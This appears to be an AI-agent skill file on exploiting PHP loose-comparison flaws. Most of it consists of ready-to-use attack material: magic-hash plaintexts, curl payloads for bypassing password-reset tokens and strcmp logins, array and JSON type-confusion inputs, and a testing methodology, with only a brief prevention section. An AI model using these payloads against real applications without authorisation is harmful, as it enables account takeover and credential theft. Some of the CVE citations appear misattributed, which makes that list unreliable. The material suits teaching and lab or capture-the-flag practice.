php-type-juggling

name	php-type-juggling
description	This skill covers PHP type juggling vulnerabilities including magic hashes, loose comparison bypass, and authentication circumvention. Use when encountering PHP applications with password reset, token validation, or strcmp-based auth.

PHP Type Juggling Exploitation

Overview

PHP's loose comparison operator (==) performs type juggling, converting values before comparison. This leads to exploitable vulnerabilities in authentication and token validation.

Core Concept

// Vulnerable code
if ($user_token == $db_token) {
    // Grant access
}

// Exploitation: if $db_token starts with "0e" and contains only digits
// "0e123456789" == 0 evaluates to TRUE
// Attacker sends token=0 to bypass validation

Magic Hashes

Magic hashes are strings that PHP interprets as scientific notation (0eXXX = 0 * 10^XXX = 0).

MD5 Magic Hashes

These strings produce MD5 hashes that start with 0e followed only by digits:

Plaintext	MD5 Hash
240610708	0e462097431906509019562988736854
QNKCDZO	0e830400451993494058024219903391
0e215962017	0e291242476940776845150308577824
aabg7XSs	0e087386482136013740957780965295
aabC9RqS	0e041022518165728065344349536299

SHA1 Magic Hashes

Plaintext	SHA1 Hash
10932435112	0e07766915004133176347055865026311692244
aaroZmOk	0e66507019969427134894567494305185566735
aaK1STfY	0e76658526655756207688271159624026011393

Exploitation Techniques

1. Password Reset Token Bypass

Vulnerable Endpoint:

GET /forgot-password?token=<value>

Vulnerable Code:

$user_token = $_GET['token'];
$db_token = get_token_from_database($user_id);

if ($user_token == $db_token) {
    // Allow password reset
}

Exploitation:

# If database token is a magic hash (0e...), send:
curl "http://target/forgot-password?token=0"

# Or try as array to bypass strcmp:
curl "http://target/forgot-password?token[]=anything"

Real-World Example (MonitorsFour):

# Database had token: 0e7106... (magic hash)
# Bypass with:
curl "http://monitorsfour.htb/forgot-password?token=0"
# Returns: password reset form with user credentials leaked

2. strcmp() Bypass

Vulnerable Code:

if (strcmp($_POST['password'], $correct_password) == 0) {
    // Login successful
}

Exploitation: When strcmp() receives an array instead of string, it returns NULL. NULL == 0 is TRUE in PHP.

# Send password as array
curl -X POST http://target/login \
    -d "username=admin" \
    -d "password[]=anything"

3. Boolean/Integer Juggling

Vulnerable Code:

if ($is_admin == true) {
    // Grant admin access
}

Exploitation:

# These all equal true when loosely compared:
curl "http://target/?is_admin=1"
curl "http://target/?is_admin=true"
curl "http://target/?is_admin[]=x"  # Arrays are truthy

4. JSON Type Confusion

Vulnerable Code:

$data = json_decode($input);
if ($data->pin == "1234") {
    // Validate PIN
}

Exploitation:

# Send integer instead of string
curl -X POST http://target/api \
    -H "Content-Type: application/json" \
    -d '{"pin": 1234}'

# 1234 == "1234" is TRUE in PHP

5. Hash Length Extension (with Juggling)

Vulnerable Code:

$token = md5($secret . $_GET['data']);
if ($token == $_GET['signature']) {
    // Valid signature
}

Exploitation: If attacker can make signature a magic hash:

# Find data that produces 0e... hash when combined with secret
# Then send signature=0

Detection Methods

Identifying Vulnerable Code Patterns

# Search for loose comparisons
grep -rn "== \$" *.php
grep -rn "\$.*==" *.php

# Search for strcmp with loose comparison
grep -rn "strcmp.*== 0" *.php
grep -rn "strcmp.*!= 0" *.php

# Search for MD5/SHA comparisons
grep -rn "md5.*==" *.php
grep -rn "sha1.*==" *.php

Identifying Vulnerable Endpoints

1. Password reset pages: /forgot-password, /reset-password, /recover
2. Token validation: /verify, /activate, /confirm
3. API authentication: /api/auth, /api/token
4. Admin panels: /admin/login, /dashboard

Testing Methodology

Step 1: Identify Token-Based Features

# Map password reset flow
curl -s http://target/forgot-password | grep -i token
curl -s http://target/reset-password | grep -i token

Step 2: Test Integer Comparison

# Try token=0
curl "http://target/forgot-password?token=0"

# Try token as integer in JSON
curl -X POST http://target/api/reset \
    -H "Content-Type: application/json" \
    -d '{"token": 0}'

Step 3: Test Array Injection

# Array bypass for strcmp
curl "http://target/login" -d "password[]=x"
curl "http://target/forgot-password?token[]=x"

Step 4: Test Magic Hash Values

# If you know the hash algorithm
curl "http://target/forgot-password?token=240610708"  # MD5 magic
curl "http://target/forgot-password?token=QNKCDZO"    # MD5 magic

Prevention (For Reference)

Secure code uses strict comparison:

// Secure: Use === instead of ==
if ($user_token === $db_token) {
    // Safe comparison
}

// Secure: Type casting
if ((string)$user_token === (string)$db_token) {
    // Safe comparison
}

// Secure: hash_equals for timing-safe comparison
if (hash_equals($db_token, $user_token)) {
    // Safe and timing-attack resistant
}

Quick Reference Card

Attack	Payload	Bypasses
Magic hash	token=0	0e12345 == 0
Array bypass	param[]=x	strcmp(), loose comparison
Boolean	param=1	$var == true
Integer in JSON	{"param": 0}	String-to-int comparison

Real-World CVEs

• CVE-2014-0166: WordPress cookie forgery via type juggling
• CVE-2015-4024: PHP multipart/form-data DoS and bypass
• CVE-2016-3714: ImageMagick delegate type confusion

Related Skills

• password-hunting - Finding credentials to test
• web-enumeration - Discovering vulnerable endpoints
• common-exploits - Other web vulnerabilities